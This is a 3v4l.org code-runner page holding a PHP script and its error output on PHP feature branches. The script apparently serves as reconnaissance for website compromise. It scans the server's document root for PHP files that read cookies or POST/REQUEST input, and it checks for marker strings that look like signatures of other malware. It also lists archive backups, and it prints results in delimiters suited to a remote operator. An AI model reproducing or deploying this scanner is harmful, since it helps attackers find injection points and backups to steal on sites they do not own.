3v4l.org

run code in 300+ PHP versions simultaneously
<?php $files = array(); $it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT']); $display = Array ( 'php' ); $search = Array('_COOKIE','_POST','_REQUEST'); $searchff = Array('amads','window98originalmain','ofertaexpressa','ifadulakvefin','root464providecatch','ark-btc','avanquest','poolunbelievably'); $files_ar = array(); echo "1<<llll>>"; foreach(new RecursiveIteratorIterator($it) as $file) { if(strpos($file->getFilename(),".php") == false) continue; $tt = file_get_contents($file->getPathname()); $q = strposa($tt, $search); if($q != ""){ $n = str_replace($_SERVER['DOCUMENT_ROOT'],'',$file->getPathname()); echo $q."|".$n."|aa;;"; } } echo "<<llll>>1<<llll>>1"; die(); $a = scandir($_SERVER['DOCUMENT_ROOT']); $search = Array('.zip','gzip','.tar','.rar','.7z'); echo "1<<llll>>"; foreach($a as $f){ $n = str_replace($_SERVER['DOCUMENT_ROOT'],'',$f); if(is_file($f)){ $q = strposa($n, $search); if($q != "" && $n != ""){ echo $q."|".$n."|aa;;"; } } } echo "<<llll>>1<<llll>>1"; function strposa($haystack, $needle, $offset=0) { if(!is_array($needle)) $needle = array($needle); $strok = ""; foreach($needle as $query) { if(strpos($haystack, $query, $offset) !== false) { // if (preg_match('/count[(].*?[=][=][ |]?8/', $haystack)) $strok .= $query."|"; } } return $strok; } die();
Output for git.master, git.master_jit, rfc.property-hooks
Fatal error: Uncaught ValueError: RecursiveDirectoryIterator::__construct(): Argument #1 ($directory) cannot be empty in /in/MdDEL:4 Stack trace: #0 /in/MdDEL(4): RecursiveDirectoryIterator->__construct('') #1 {main} thrown in /in/MdDEL on line 4
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
30.85 ms | 401 KiB | 8 Q